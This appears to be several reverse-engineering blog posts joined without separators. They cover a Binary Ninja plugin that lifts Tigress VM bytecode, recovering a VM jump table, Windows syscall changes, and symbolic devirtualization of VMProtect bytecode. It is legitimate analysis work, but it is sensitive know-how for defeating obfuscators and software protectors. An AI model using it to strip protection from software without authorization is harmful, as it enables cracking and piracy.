This is where things get really interesting. If we can get this right and lift every command to low level IL then we can let Binary Ninja interpret the code semantically and do a bunch of heavy lifting for us. We get passed an argument il that we can append our operations onto, and we have multiple ways of doing this. For example, we know that this is a stack based virtual machine, and we defined vsp as a register, so we can make use of the push and pop commands in Binary Ninja's LLIL. The first opcode we found, loadq can be implemented fairly simply using this:

if opcode == 0x60 or opcode == 0xe1:
    # loadq
    immediate = struct.unpack("<Q", data[1:9])[0]
    il.append(il.push(8, il.const(8, immediate)))
    return 9

We take the immediate and declare it as an 8 byte constant, then use this in an 8 byte push command, and append this to the list of instructions.

Our arithmetic commands are the next obvious ones. We pop two operands, add or multiply them, and push them back on the stack:

elif opcode == 0xc7:
    # mulq
    product = il.mult(8, il.pop(8), il.pop(8))
    il.append(il.push(8, product))
    return 1

When we read memory we can pop the address off, load the memory from that location, and then push it back in place:

elif opcode == 0x61 or opcode == 0x6e:
    # rmem
    il.append(il.push(8, il.load(8, il.pop(8))))
    return 1

What happens when the order of instructions is important though, like with a memory write, or a shift or subtraction? There may be other ways of doing this, but I added some dummy registers called lhs and rhs (for the left hand side and right hand side, respectively), and used these to make sure operations were ordered correctly. Then we can construct our other handlers:

elif opcode == 0xdf:
    # wmem
    il.append(il.set_reg(8, "vlhs", il.pop(8)))
    il.append(il.set_reg(8, "vrhs", il.pop(8)))
    il.append(il.store(8, il.reg(8, "vlhs"), il.reg(8, "vrhs")))
    return 1

elif opcode == 0x42:
    # subq
    il.append(il.set_reg(8, "vlhs", il.pop(8)))
    il.append(il.set_reg(8, "vrhs", il.pop(8)))
    sum = il.sub(8, il.reg(8, "vlhs"), il.reg(8, "vrhs"))
    il.append(il.push(8, sum))
    return 1

It's worth noting that tigress isn't consistent with which order it consumes the stack operands in, so you need to check this with each handler.

Finally, there are the arguments, the return value, and the virtual registers. I implemented the ldarg opcode with each argument as its own register, and we return whatever register corresponds to the offset that is provided. We could also do this with an array of arguments, but the disassembly looks a little nicer this way.

elif opcode == 0x8e:
    # ldarg
    immediate = struct.unpack("<L", data[1:5])[0]
    if immediate == 0:
        varg = il.reg(8, "varg1")
    elif immediate == 1:
        varg = il.reg(8, "varg2")
    il.append(il.push(8, varg))
    return 5

I've implemented the virtual registers (or scratch space) as an array of QWORDS though, so we just use the parameter as an offset:

elif opcode == 0x90:
    # lead
    immediate = struct.unpack("<L", data[1:5])[0]
    vreg = il.add(8, il.reg(8, "vreg"), il.const(4, immediate))
    il.append(il.push(8, vreg))
    return 5

And finally, the jump is a relative jump so this is fairly easy to do

lif opcode == 0xf4:
    # jmp
    immediate = struct.unpack("<L", data[1:5])[0]
    dest = immediate + address + 1
    il.append(il.jump(il.const(8, dest)))

Reversing the code

Now we have a full architecture plugin for our new VM, let's see how Binary Ninja does at decompiling it:

There's a ton of dead-store reduction, and Binary Ninja ends up producing what is basically compilable C code. If we take the whole thing with the dead stores and constant propagation removed, here's what we're left with:

regs[2] = (**(int64_t**)arg1 + 0x34d870d1);
regs[3] = (0xffffffffd9fca98b | (regs[2] | **(int64_t**)arg1));
regs[4] = (0x46bc480 | **(int64_t**)arg1);
regs[5] = (((**(int64_t**)arg1 + 0x1dd9c3c5) << (0x40 - (1 | (0xf & (0x38bca01f * regs[2]))))) | ((**(int64_t**)arg1 + 0x1dd9c3c5) >> (1 | (0xf & (0x38bca01f * regs[2])))));;
regs[5] = (((0x3f & (regs[4] << (1 | (7 & regs[2])))) << 4) | regs[5]);
**(int64_t**)arg2 = (((0x2c7c60b7 * regs[5]) * regs[4]) * (regs[2] + regs[3]));

The only scratch register that gets clobbered is regs[5] but otherwise this is pretty clean, especially for the output we get for free just by building the LLIL parser. We can clean it up a little bit more (for example, the first regs[5] transform is just a bitwise rotation).

Conclusion

This was my first attempt at building a plugin for Binary Ninja, and it was fairly straightforward and easy to work with. It would be nice to have some more code samples (both full hello-world style samples and some more samples in the docs themselves), and some better test harnesses (e.g. easier ways to reload the module without restarting Binary Ninja, or an integration test framework to insert X bytes and see how they do or don't work in the full stack from LLIL to HLIL), but this is definitely a much more accessible and flexible plugin framework than what the other big tools have to offer. Well done Vector35 with this.

Thanks to Amy Burnett for her guide and extension that I used extensively as a reference, and whitequark for her 16bit x86 plugin that was also useful.

The full plugin is at https://github.com/samrussell/tigress_disasm if you want to drop it in and see how it looks.

If we open the first binary (challenge-0) in Binary Ninja and scroll down a bit we can find the loop itself by eyeballing the code:

For this article, we'll focus on that final jump statement with the big red question mark next to it.

Reversing the structures

If we double-click on the 0x602408 pointer we get taken to a block of data that looks very structured:

It looks like these are grouped as 2x QWORDs, giving us 21 structures in total. We're most interested in the second QWORD in each structure, as this looks to be the pointer to the VM handler. If we go to the start of one of these (0x602400) and right click, we can right click and select "Create Structure..." or just use the S key to accomplish this.

We'll call it handler_entry and make it 0x10 bytes. If we double click on the name of our new struct it'll open in the types window:

The struct docs say we can set the fields to 8 byte fields with the 8 key, so we'll create 2 QWORD fields, the first we can leave as field_0, and we'll rename the second to address. We can also create the other 20 structs by clicking on the original struct at 00602400 and pressing the Y key, and defining this memory as struct handler[0x15] or struct handler[21]

This updates the whole block of memory to be structs, and we can eyeball it to see that there are indeed 21 VM handlers.

Resolving the jump table

We still have ugly jump table from before, so we need to do a couple more things before this works. If we go to the medium level IL we see it looks like this:

So rax_30 is the actual offset (code << 4 == code * 0x10 and we know the struct size is 0x10), and then rax_31 is the base + the offset. We can click on rax_31, press the Y key to change the type, and change it from void* rax_31 to struct handler_entry* rax_31. Press enter and now Binary Ninja recognizes the +8 as actually just looking at the address member of the struct

Here's where things get a little tricky. I couldn't find a way to do this through the UI, but I did find this article which shows how to set the range of data inputs and have Binary Ninja build a jump table from there.

Click on line 64 @ 00400805 in the Medium Level IL view, then press Ctrl+backtick (or select Python Console from the View menu), and we'll define using the set_user_var_value API call. We want to set the range of possible values for rax_32, so we select this with rax32 = current_mlil[64].operands[0]. We're defining this at 0x400805 so we'll set this as the second parameter, and the third param is the complicated part. We can manually go through the addresses of the VM handlers, but that's annoying for 21 handlers, and horrendous for 200 or more like a lot of obfuscators use.

We want to access the array of struct handler_entry at 0x602400 so we can get this with current_view.get_data_var_at(0x602400). We get an iterable object where we can access each entry at any offset, for example:

>>> struct_array = current_view.get_data_var_at(0x602400).value
>>> struct_array[0]
{'field_0': 14, 'address': 4196644}
>>> struct_array[0]['address']
4196644
>>> hex(struct_array[0]['address'])
'0x400924'

If you're familiar with list comprehension in python it's a one-liner to get a list of all the addresses of the VM handlers, and we'll put these into a PossibleValueSet

>>> vm_handlers = PossibleValueSet.in_set_of_values([x['address'] for x in struct_array])
>>> vm_handlers
<in set([0x40080b, 0x400850, 0x40088d, 0x4008ac, 0x4008e9, 0x400924, 0x400961, 0x400983, 0x4009c0, 0x4009d1, 0x400a30, 0x400a52, 0x400a8d, 0x400acb, 0x400b10, 0x400b34, 0x400b77, 0x400bb4, 0x400bf2, 0x400c35, 0x400c52])>

Now we just need to put it all together, and define that rax_32 at line 0x00400805 can only point to one of those 21 VM handlers:

rax32 = current_mlil[64].operands[0]
vm_handlers = PossibleValueSet.in_set_of_values([x['address'] for x in struct_array])
current_function.set_user_var_value(rax32, 0x00400805 , vm_handlers)

After executing this we see the Medium Level IL window has changed:

If we go back to High Level IL or to Pseudo C and change from Linear to Graph view we now have a normal switch-case statement that loops back on itself, and a graph of all the VM handlers:

And we're done!

Next steps:

• Classifying the VM handlers
• Reversing the chunk of code at the start of the loop that decodes the opcodes
• Lifting the VM bytecode into some sort of IL
• Reversing the IL to crack the obfuscator

Syscalls removed:

• NtAdjustTokenClaimsAndDeviceGroups
• NtCompleteConnectPort
• NtCreateEventPair
• NtCreateJobSet
• NtDirectGraphicsCall
• NtFilterTokenEx
• NtFlushInstructionCache
• NtFlushWriteBuffer
• NtOpenEventPair
• NtQueryPortInformationProcess
• NtSetHighEventPair
• NtSetHighWaitLowEventPair
• NtSetLdtEntries
• NtSetLowEventPair
• NtSetLowWaitHighEventPair
• NtUmsThreadYield
• NtVdmControl
• NtWaitHighEventPair
• NtWaitLowEventPair

Syscalls added:

• CmpPrepareToInvalidateAllHigherLayerKcbsPreCallback
• FsRtlSyncVolumes
• MmConfigureGraphicsPtes
• NtChangeProcessState
• NtChangeThreadState
• NtCreateCpuPartition
• NtCreateIoRing
• NtCreateProcessStateChange
• NtCreateThreadStateChange
• NtOpenCpuPartition
• NtQueryInformationCpuPartition
• NtQueryIoRingCapabilities
• NtQueueApcThreadEx2
• NtReadVirtualMemoryEx
• NtSetInformationCpuPartition
• NtSetInformationIoRing
• NtSubmitIoRing
• PoRegisterDeviceNotify
• SeAdjustObjectSecurity
• SkIsSecureKernel

Note that https://hfiref0x.github.io/syscalls.html seems to be fairly up to date with the windows 11 builds.

It'll be fun to see what these do and where they're used, but that's all for now.

PS: extract_ssdt now has scripts to download the PDB for your kernel and dump symbols so these can be used to fill out the names for any SSDT you generate, give it a try.

I'm not going to go into details of how VMProtect works, have a look at xeroxz's or r0da's posts on the subject if you want more details.

What we're looking at here is how to convert the bytecode into symbolic operations, and then evaluate these to figure out what the code is doing. The bulk of this is something that you'll need to do yourself by trial and error, but I'm hoping these notes will help anyone who gets stuck. Let's get started.

Convert to asm (or something close to it)

I've seen other people trying to "lift" vmprotect bytecode to a higher level intermediate language, but I've found this has limited my options when it comes to decompilation. Rolf Rolles recommends converting each bytecode instruction to a set of asm-like instructions (fairly similar to what the VM handlers do), and this has made the later steps a lot easier. It makes the code a little bulky, but we can always fix this later with copy and constant propagation.

The big advantage I've found with this approach is that it's kept me focused on what each individual instruction is doing: What does a push mean here? What does a mov mean here? There are a couple of edge cases but focusing on individual commands has helped me come up with some consistent rules that make life a lot easier when decompiling/emulating.

Here are some examples:

Load constant onto stack:

mov eax, dword(0x35010FF3)
push eax

Pop into scratch register:

pop eax
mov scratch:[0x0A], eax

Add with flags

pop eax
pop edx
add eax, edx
push eax
pushfw

Nor

pop ax
pop dx
nor ax, dx
push ax

These don't exactly match how the VM handlers have been done, but what matters is that they return the same results. Care needs to be taken with a couple of operations. Even the bitwise NOR which is done back-to-front (NOT on both operands and then an AND) doesn't really matter, but in the VM handler having the AND at the end gives you the flags for free (the NOT opcode doesn't set any flags).

Keep track of sizes

For the most part you can manage the stack with objects rather than trying to be clever and convert into bytes (like a complex symbolic execution engine like Triton would do). There are a few cases to consider though:

• Sometimes an argument will come in as a DWORD (in the initial stack frame), get stored in a scratch register, and then accessed as a WORD
• Sometimes a WORD will get sign-extended by pushing a 0 WORD before hand and then popping into a DWORD

These are all easily solved if you keep track of sizes and have your own operators to manage these (I use a DoubleWord operator for combining two words, and a LoWord operator to do this in reverse).

Here's an example of flags being added to the stack pointer (branch emulation, discussed more below)

push esp
mov ax, word(0x0000)
push ax
mov ax, scratch:[0x09]
push ax
pop eax
pop edx
add eax, edx
push eax

Eliminate the stack

There are two important things to know about the VMProtect stack machine:

1. It's an implementation detail
2. It doesn't exist in the original x86 code

Rolles mentions this as a useful optimization step and I agree. There's an edge case with stack pointers (we'll cover that in a second) but otherwise the stack is just a pain. Something gets pushed onto the stack? Call it a variable. You pop 2 things off, add them, then put them back on? That's just c = a + b. Get this part right and the rest is very easy.

For example, say we want to add two numbers:

mov eax, dword(0x12345678)
push eax
mov eax, dword(0x4444AAAA)
push eax
pop eax
pop edx
add eax, edx
push eax

I would symbolize it like this:

stack = []
symbol0 = Symbol(Immediate(4, 0x12345678))
stack.append(symbol0)
symbol1 = Symbol(Immediate(4, 0x4444AAAA))
stack.append(symbol1)
symbol2 = Symbol(AddOperation(stack.pop(), stack.pop()))
stack.append(symbol2)

You can choose how you do this, I create a new symbol with every push (unless it's already a symbol, e.g. coming from a scratch register), but ultimately having nested symbols isn't the end of the world. The big bonus with creating symbol objects is that you can store them in a table and use them to cache evaluated symbols to speed things up later.

Symbolize from the top down, evaluate from the bottom up

If you were simply writing an emulator then you'd put real values in the top and run the whole way through and get your results at the bottom. We can do the same thing when symbolizing, we can put placeholders in at the top, run through and build up a symbol table, and then we're left with our outputs at the bottom. Once we have these though, it's trivial to go backwards and resolve all of the symbols that were used to get to the result. The nice thing with this approach is that you don't need to think too hard about dead store removal as dead-end symbols just don't get referenced from the bottom so they get ignored implicitly.

With VMProtect we know it's a stack machine and that the result of any operation gets loaded back onto the stack. Because of this, we can create a new symbol every time we see a push opcode.

Apps will also need to do memory IO, so I keep a journal of memory writes (when we get a pop [eax] instruction). These can be populated at emulation time.

When it comes to emulating I do the following:

• Memory writes in order
• Stack variables at the end (in any order)

Treat normal memory different from stack memory

Because I disassemble into an x86-like language, I end up just handling push [eax] and push esp as Dereference and Pointer objects. These are fine to leave hanging around when symbolizing, but when emulating we need to resolve them differently.

As a rule, we should only see Pointer objects generated when we see push esp, so these are always going to be stack pointers. We can dereference both memory and stack pointers though, so I check for these at emulation time; if we have an immediate value then I pull this from the emulated memory of the app, otherwise we have a pointer and we just get them to cancel each other out.

Note that the VM handlers exist for accessing with any segment register, and the stack pointer work appears to use SS for all stack pointer work, but YMMV on this.

There's just one edge case to handle when dealing with stack pointers:

Be careful with branch emulation

VMProtect emulates branching by loading two function addresses onto the stack, executing the opcode that would set the flags (e.g. a CMP to compare registers is emulated as a SUB which in practice is ADD a, -b), converting the flags into an offset (either 0 or 4), and then advancing the stack pointer by that much, reading that value, then sometimes overwriting another stack pointer (?!).

For example,

push esp
mov ax, word(0x0000)
push ax
mov ax, scratch:[0x09]
push ax
pop eax
pop edx
add eax, edx
push eax
pop, eax,
push, ss:[eax]

This pushes the stack pointer, loads the flag-based offset from a previous calculation, and adds them to the stack pointer. We then read that pointer and put it onto the stack.

This part is easy enough to handle, we create a Pointer object which keeps the original stack, and when we handle addition we just advance the pointer. Here's how I did it in python:

class Pointer:
    def __init__(self, param, stack):
        self.param = param
        self.stack = stack

    def advance(self, immediate):
        value = int(immediate.value, 0x10)
        if value % 4:
            raise Exception("Advancing pointer by weird number: %d" % value)
        if value == 0:
            return self
        offset = value // 4
        if offset > len(self.stack):
            raise Exception("Advancing pointer by %d with stack size %d" % offset, len(self.stack))
        newstack = copy(self.stack)
        for x in range(offset):
            newstack.pop()
        last_arg = newstack[-1]
        return Pointer(last_arg, newstack)

So this will propagate pointers down until they're needed. We do end up with another problem when it comes to writing to a stack pointer:

push esp
mov eax, dword(0x00000008)
push eax
pop eax
pop edx
add eax, edx
push eax
pop eax
pop ss:[eax]
pop eax

This code does the following:

1. Loads the stack pointer
2. Adds 8 to it
3. Writes the previous result to it
4. Cleans up the stack

Here's the whole picture put together just to show how it works:

1. Stack = [branch1, branch2]
2. Load stack pointer, stack = [&stack[1], branch1, branch2]
3. Load flags result, stack = [0 or 4, &stack[1], branch1, branch2]
4. Add flags result to stack pointer, stack = [&stack[1 or 2], branch1, branch2]
5. Dereference pointer, stack = [branch1 or branch2, branch1, branch2]
6. Load stack pointer, stack = [&stack[1], branch1 or branch2, branch1, branch2]
7. Load 8, stack = [8, &stack[1], branch1 or branch2, branch1, branch2]
8. Add offset to stack, stack = [&stack[3], branch1 or branch2, branch1, branch2]
9. Overwrite stack[0] with stack[1], stack = [branch1, branch1 or branch2]
10. Pop head of stack, stack = [branch1 or branch2]

This is a little convoluted but this leaves us with a stack with a pointer based on the result of a comparison earlier on.

There's one big problem: we got rid of the stack at the start! The way I dealt with this was keeping one thing in mind - the stack depth is the only thing we really care about.

The way I handle this is that when I process a dereference (pop [eax]) I go and wrap everything in the stack inside a new object called a ConditionalOverride which includes the old value, the potential new value, the pointer, and the stack depth of this object. When it comes time to evaluate the result, I evaluate the pointer, and test the stack size of the pointer against the stack depth of this object. If they're the same then I evaluate the overwritten value, otherwise I evaluate the original value. The code looks like this:

def process_pop(self, dest):
    if is_deref(dest):
        size = 4 # we are guessing this
        override_symbol = self.pop_size(size)
        pointer_symbol = self.registers[get_deref_value(dest)]
        self.memory.append((pointer_symbol, override_symbol))
        # need to wrap everything on the stack in case we overwrote it
        new_stack = []
        while self.stack:
            stack_size = sum(map(lambda x: x.size, self.stack))
            default_symbol = self.stack.pop()
            override = ConditionalOverride(pointer_symbol, override_symbol, stack_size, default_symbol)
            wrapped_symbol = self.symbols.put(override, size)
            new_stack.insert(0, wrapped_symbol)

        self.stack = new_stack

Then when it comes time to evaluate one of these:

def evaluate_conditional_override(self, conditional_override):
    conditional_value = self.evaluate(conditional_override.conditional_symbol)
    # we need the size of the stack
    burnable_stack = copy(conditional_value.stack)
    stack_size = 0
    while burnable_stack:
        value = burnable_stack.pop()

        stack_size += value.size

    if stack_size == conditional_override.stack_trigger_size:
        return self.evaluate(conditional_override.override_symbol)
    else:
        return self.evaluate(conditional_override.default_symbol)

The other option is creating a new entity every time something hits the stack and overwriting it just-in-time, but that would mean going back through and updating everything in order (as well as global state, ew). This way keeps a bit more state but means every terminal symbol contains all the information it needs, provided any global memory has been updated correctly.

Store a journal of global memory writes

One thing that got me stuck early on was how to resolve something like this:

pop [eax]

Every other command moves a symbol to somewhere, be it a register, a stack register, or the stack. Here we store some information somewhere but because we haven't resolved anything we don't actually know where it's going.

I store these in a simple list as pairs of (location, value). Depending on how complicated your code is, it's probably worth storing the height of the symbol table here in case this gets read in between writes. Then when it comes to emulation we just emulate these. If the location is a stack pointer then we discard it, otherwise we log a write at that point in time. I haven't built this part yet, but a copy-on-write setup would be really useful here.

When it comes to reading it's super easy as we can read directly from memory (I'm using Lief for this), but it should be simple to wrap this in a copy-on-write layer that handles our writes.

Bonus: some samples

I've made some simple apps to test and I thought I'd share how they work out.

Here's an app that creates a MessageBox. Here are the terminal symbols (the ones that either end up on the stack or getting written to memory:

(note: this ended up being so large that I ended up writing a simplifier to count multiple references and move them to the top)

Symbols with multiple references:
Symbol9 size=4 value=(
  arg1
)
Symbol10 size=4 value=(
  Immediate(4, 0x0x00)
)
Symbol11 size=4 value=(
  Immediate(4, 0x00000000)
)
Symbol34 size=4 value=(
    Symbol33 size=4 value=(
        Symbol32 size=4 value=(
            Symbol31 size=4 value=(
              Immediate(4, 0xA166874E)
            )
          +
            Symbol30 size=4 value=(
              Immediate(4, 0xF93E78B3)
            )
        )
      +
        Symbol29 size=4 value=(
          Dereference(
            Symbol28 size=4 value=(
                Symbol10 size=4
              +
                Symbol27 size=4 value=(
                    Symbol26 size=4 value=(
                      Immediate(4, 0x00202075)
                    )
                  <<
                    Symbol25 size=2 value=(
                      Immediate(2, 0x0001)
                    )
                )
            )
          )
        )
    )
  +
    Symbol24 size=4 value=(
        Symbol23 size=4 value=(
            Symbol22 size=4 value=(
                Symbol21 size=4 value=(
                    Symbol20 size=4 value=(
                      Immediate(4, 0xA7A9831E)
                    )
                  +
                    Symbol19 size=4 value=(
                      Immediate(4, 0x946D2BFA)
                    )
                )
              +
                Symbol18 size=4 value=(
                  Dereference(
                    Symbol17 size=4 value=(
                        Symbol10 size=4
                      +
                        Symbol16 size=4 value=(
                            Symbol15 size=4 value=(
                              Immediate(4, 0x0808A980)
                            )
                          >>
                            Symbol14 size=2 value=(
                              Immediate(2, 0x0005)
                            )
                        )
                    )
                  )
                )
            )
          +
            Symbol13 size=4 value=(
              Immediate(4, 0xFAAF021A)
            )
        )
      nor
        Symbol12 size=4 value=(
          Immediate(4, 0xFFBFCFFF)
        )
    )
)
Symbol57 size=4 value=(
    Symbol56 size=4 value=(
        Symbol55 size=4 value=(
            Symbol54 size=4 value=(
              Immediate(4, 0x000D662E)
            )
          >>
            Symbol53 size=2 value=(
              Immediate(2, 0x0001)
            )
        )
      +
        Symbol52 size=4 value=(
          Dereference(
            Symbol51 size=4 value=(
                Symbol10 size=4
              +
                Symbol50 size=4 value=(
                    Symbol49 size=4 value=(
                      Immediate(4, 0x96336EDA)
                    )
                  +
                    Symbol48 size=4 value=(
                      Immediate(4, 0x6A0CD7EB)
                    )
                )
            )
          )
        )
    )
  +
    Symbol47 size=4 value=(
        Symbol46 size=4 value=(
            Symbol45 size=4 value=(
                Symbol44 size=4 value=(
                    Symbol43 size=4 value=(
                      Immediate(4, 0xF3FCA000)
                    )
                  >>
                    Symbol42 size=2 value=(
                      Immediate(2, 0x000A)
                    )
                )
              +
                Symbol41 size=4 value=(
                  Dereference(
                    Symbol40 size=4 value=(
                        Symbol10 size=4
                      +
                        Symbol39 size=4 value=(
                            Symbol38 size=4 value=(
                              Immediate(4, 0x101009C0)
                            )
                          >>
                            Symbol37 size=2 value=(
                              Immediate(2, 0x0006)
                            )
                        )
                    )
                  )
                )
            )
          +
            Symbol36 size=4 value=(
              Immediate(4, 0x0080602E)
            )
        )
      >>
        Symbol35 size=2 value=(
          Immediate(2, 0x0001)
        )
    )
)
Symbol58 size=4 value=(
  Immediate(4, 0x00000000)
)
Symbol62 size=4 value=(
    Symbol10 size=4
  +
    Symbol61 size=4 value=(
        Symbol60 size=4 value=(
          Immediate(4, 0x1F242027)
        )
      nor
        Symbol59 size=4 value=(
          Immediate(4, 0xFFBFB277)
        )
    )
)
Symbol66 size=4 value=(
    Symbol10 size=4
  +
    Symbol65 size=4 value=(
        Symbol64 size=4 value=(
          Immediate(4, 0x28BD90A4)
        )
      nor
        Symbol63 size=4 value=(
          Immediate(4, 0xFFBFB3A4)
        )
    )
)
Symbol76 size=4 value=(
    Symbol75 size=4 value=(
        Symbol74 size=4 value=(
          Immediate(4, 0xDBDA6419)
        )
      +
        Symbol73 size=4 value=(
          Immediate(4, 0x24259BE8)
        )
    )
  +
    Symbol72 size=4 value=(
      Dereference(
        Symbol71 size=4 value=(
            Symbol70 size=4 value=(
                Symbol69 size=4 value=(
                  Immediate(4, 0x00000002)
                )
              <<
                Symbol68 size=2 value=(
                  Immediate(2, 0x0001)
                )
            )
          +
            Symbol67 size=4 value=(
              Pointer(
                Stack=[
                  Symbol11 size=4
                  Symbol34 size=4
                  Symbol57 size=4
                  Symbol58 size=4
                  Symbol62 size=4
                  Symbol66 size=4
                ]
              )
            )
        )
      )
    )
)
Memory symbols:
location:
Symbol76 size=4
value:
Symbol66 size=4
Stack symbols:
Symbol81 size=4 value=(
  ConditionalOverride(
    conditional_symbol=(
      Symbol76 size=4
    )
    override_symbol=(
      Symbol66 size=4
    )
    default_symbol=(
      Symbol11 size=4
    )
    stack_trigger_size=4
  )
)
Symbol80 size=4 value=(
  ConditionalOverride(
    conditional_symbol=(
      Symbol76 size=4
    )
    override_symbol=(
      Symbol66 size=4
    )
    default_symbol=(
      Symbol34 size=4
    )
    stack_trigger_size=8
  )
)
Symbol79 size=4 value=(
  ConditionalOverride(
    conditional_symbol=(
      Symbol76 size=4
    )
    override_symbol=(
      Symbol66 size=4
    )
    default_symbol=(
      Symbol57 size=4
    )
    stack_trigger_size=12
  )
)
Symbol78 size=4 value=(
  ConditionalOverride(
    conditional_symbol=(
      Symbol76 size=4
    )
    override_symbol=(
      Symbol66 size=4
    )
    default_symbol=(
      Symbol58 size=4
    )
    stack_trigger_size=16
  )
)
Symbol77 size=4 value=(
  ConditionalOverride(
    conditional_symbol=(
      Symbol76 size=4
    )
    override_symbol=(
      Symbol66 size=4
    )
    default_symbol=(
      Symbol62 size=4
    )
    stack_trigger_size=20
  )
)
Symbol95 size=4 value=(
    Symbol10 size=4
  +
    Symbol94 size=4 value=(
        Symbol93 size=4 value=(
            Symbol92 size=4 value=(
                Symbol91 size=4 value=(
                    Symbol90 size=4 value=(
                      Immediate(4, 0x76AEFC80)
                    )
                  +
                    Symbol89 size=4 value=(
                      Immediate(4, 0x895107C9)
                    )
                )
              +
                Symbol88 size=4 value=(
                  Dereference(
                    Symbol87 size=4 value=(
                        Symbol10 size=4
                      +
                        Symbol86 size=4 value=(
                            Symbol85 size=4 value=(
                              Immediate(4, 0xF20A0A20)
                            )
                          nor
                            Symbol84 size=4 value=(
                              Immediate(4, 0xFFBFBBA4)
                            )
                        )
                    )
                  )
                )
            )
          +
            Symbol83 size=4 value=(
              Immediate(4, 0xAC00EADC)
            )
        )
      nor
        Symbol82 size=4 value=(
          Immediate(4, 0xFFBFEFDF)
        )
    )
)
Symbol1 size=4 value=(
  arg9
)
Symbol2 size=4 value=(
  arg8
)
Symbol3 size=4 value=(
  arg7
)
Symbol4 size=4 value=(
  arg6
)
Symbol5 size=4 value=(
  arg5
)
Symbol9 size=4
Symbol7 size=4 value=(
  arg3
)
Symbol8 size=4 value=(
  arg2
)
Symbol9 size=4
Symbol10 size=4

This is enormous, and you can read about why this is done elsewhere. Long story short though, here's what happens when we emulate it:

Memory writes:
[(Immediate(4, 0x00404D89), Immediate(4, 0x00404C5B))]
Stack:
[
// stack state when we hit RET
 Immediate(4, 0x00000000),
 Immediate(4, 0x00403000),
 Immediate(4, 0x00403017),
 Immediate(4, 0x00000000),
 Immediate(4, 0x00404D88),
 Immediate(4, 0x00401020),
// these get loaded into registers
 Symbol(1 size=4, value=arg9),
 Symbol(2 size=4, value=arg8),
 Symbol(3 size=4, value=arg7),
 Symbol(4 size=4, value=arg6),
 Symbol(5 size=4, value=arg5),
 Symbol(9 size=4, value=arg1),
 Symbol(7 size=4, value=arg3),
 Symbol(8 size=4, value=arg2),
 Symbol(9 size=4, value=arg1),
 Immediate(4, 0x0x00)]

So it does the following:

• Sets 0x00404D89 to 0x00404C5B (the address of the next set of VM code, this is set to junk at compile time)
• Calls 0x00401020 (this is the thunk for MessageBoxA) with the decoded parameters
• Returns to 0x00404D88 (this pushes the address above and then jumps to vmenter)

We have time for one more, here's some code that does a CMP and a JE:

Symbols with multiple references:
Symbol1 size=4 value=(
  arg9
)
Symbol2 size=4 value=(
  arg8
)
Symbol3 size=4 value=(
  arg7
)
Symbol4 size=4 value=(
  arg6
)
Symbol5 size=4 value=(
  arg5
)
Symbol10 size=4 value=(
  Immediate(4, 0x0x00)
)
Symbol19 size=2 value=(
    Symbol18 size=2 value=(
        Symbol17 size=2 value=(
          Immediate(2, 0xFBFF)
        )
      nor
        Symbol16 size=2 value=(
            Symbol15 size=2 value=(
              LoWord(
                Symbol1 size=4
              )
            )
          nor
            Symbol14 size=2 value=(
              LoWord(
                Symbol1 size=4
              )
            )
        )
    )
  +
    Symbol13 size=2 value=(
      FlagResult(
        Symbol12 size=4 value=(
            Symbol2 size=4
          +
            Symbol11 size=4 value=(
              Immediate(4, 0x35010FF3)
            )
        )
      )
    )
)
Symbol29 size=2 value=(
    Symbol28 size=2 value=(
        Symbol27 size=2 value=(
          Immediate(2, 0xFBFF)
        )
      nor
        Symbol26 size=2 value=(
            Symbol19 size=2
          nor
            Symbol19 size=2
        )
    )
  +
    Symbol25 size=2 value=(
        Symbol24 size=2 value=(
            Symbol23 size=2 value=(
              Immediate(2, 0x0011)
            )
          nor
            Symbol19 size=2
        )
      nor
        Symbol22 size=2 value=(
            Symbol21 size=2 value=(
              Immediate(2, 0xFFEE)
            )
          nor
            Symbol20 size=2 value=(
                Symbol19 size=2
              nor
                Symbol19 size=2
            )
        )
    )
)
Symbol31 size=4 value=(
    Symbol10 size=4
  +
    Symbol30 size=4 value=(
      Immediate(4, 0x00404D2B)
    )
)
Symbol33 size=4 value=(
    Symbol10 size=4
  +
    Symbol32 size=4 value=(
      Immediate(4, 0x00404CAB)
    )
)
Symbol42 size=4 value=(
  Dereference(
    Symbol41 size=4 value=(
        Symbol40 size=4 value=(
          DoubleWord(
            Symbol37 size=2 value=(
                Symbol35 size=2 value=(
                    Symbol34 size=2 value=(
                      Immediate(2, 0xFFBF)
                    )
                  nor
                    Symbol29 size=2
                )
              >>
                Symbol36 size=2 value=(
                  Immediate(2, 0x0004)
                )
            )
            Symbol39 size=2 value=(
              Immediate(2, 0x0000)
            )
          )
        )
      +
        Symbol38 size=4 value=(
          Pointer(
            Stack=[
              Symbol31 size=4
              Symbol33 size=4
            ]
          )
        )
    )
  )
)
Symbol45 size=4 value=(
    Symbol44 size=4 value=(
      Immediate(4, 0x00000008)
    )
  +
    Symbol43 size=4 value=(
      Pointer(
        Stack=[
          Symbol31 size=4
          Symbol33 size=4
          Symbol42 size=4
        ]
      )
    )
)
Symbol47 size=4 value=(
  ConditionalOverride(
    conditional_symbol=(
      Symbol45 size=4
    )
    override_symbol=(
      Symbol42 size=4
    )
    default_symbol=(
      Symbol31 size=4
    )
    stack_trigger_size=4
  )
)
Symbol49 size=4 value=(
    Symbol10 size=4
  +
    Symbol48 size=4 value=(
      Immediate(4, 0x00404000)
    )
)
Symbol51 size=4 value=(
  DoubleWord(
    Symbol29 size=2
    Symbol50 size=2 value=(
      Immediate(2, 0x0)
    )
  )
)
Memory symbols:
location:
Symbol45 size=4
value:
Symbol42 size=4
Stack symbols:
Symbol47 size=4
Symbol49 size=4
Symbol51 size=4
Symbol2 size=4
Symbol3 size=4
Symbol4 size=4
Symbol5 size=4
Symbol52 size=4 value=(
  Pointer(
    Stack=[
      Symbol47 size=4
      Symbol49 size=4
      Symbol51 size=4
      Symbol2 size=4
      Symbol3 size=4
      Symbol4 size=4
      Symbol5 size=4
    ]
  )
)
Symbol7 size=4 value=(
  arg3
)
Symbol8 size=4 value=(
  arg2
)
Symbol9 size=4 value=(
  arg1
)
Symbol10 size=4

Once again, a lot of things going on here. Here's two options for executing it, when the JE passes:

Memory writes:
[]
Stack:
[Immediate(4, 0x00404CAB),
 Immediate(4, 0x00404000),
 Immediate(4, 0x00000257),
 Immediate(4, 0x0xCAFEF00D),
 Symbol(3 size=4, value=arg7),
 Symbol(4 size=4, value=arg6),
 Symbol(5 size=4, value=arg5),
 Pointer[Immediate(4, 0x0)],
 Symbol(7 size=4, value=arg3),
 Symbol(8 size=4, value=arg2),
 Symbol(9 size=4, value=arg1),
 Immediate(4, 0x0x00)]

And when it fails:

Memory writes:
[]
Stack:
[Immediate(4, 0x00404D2B),
 Immediate(4, 0x00404000),
 Immediate(4, 0x00000213),
 Immediate(4, 0x0x12345678),
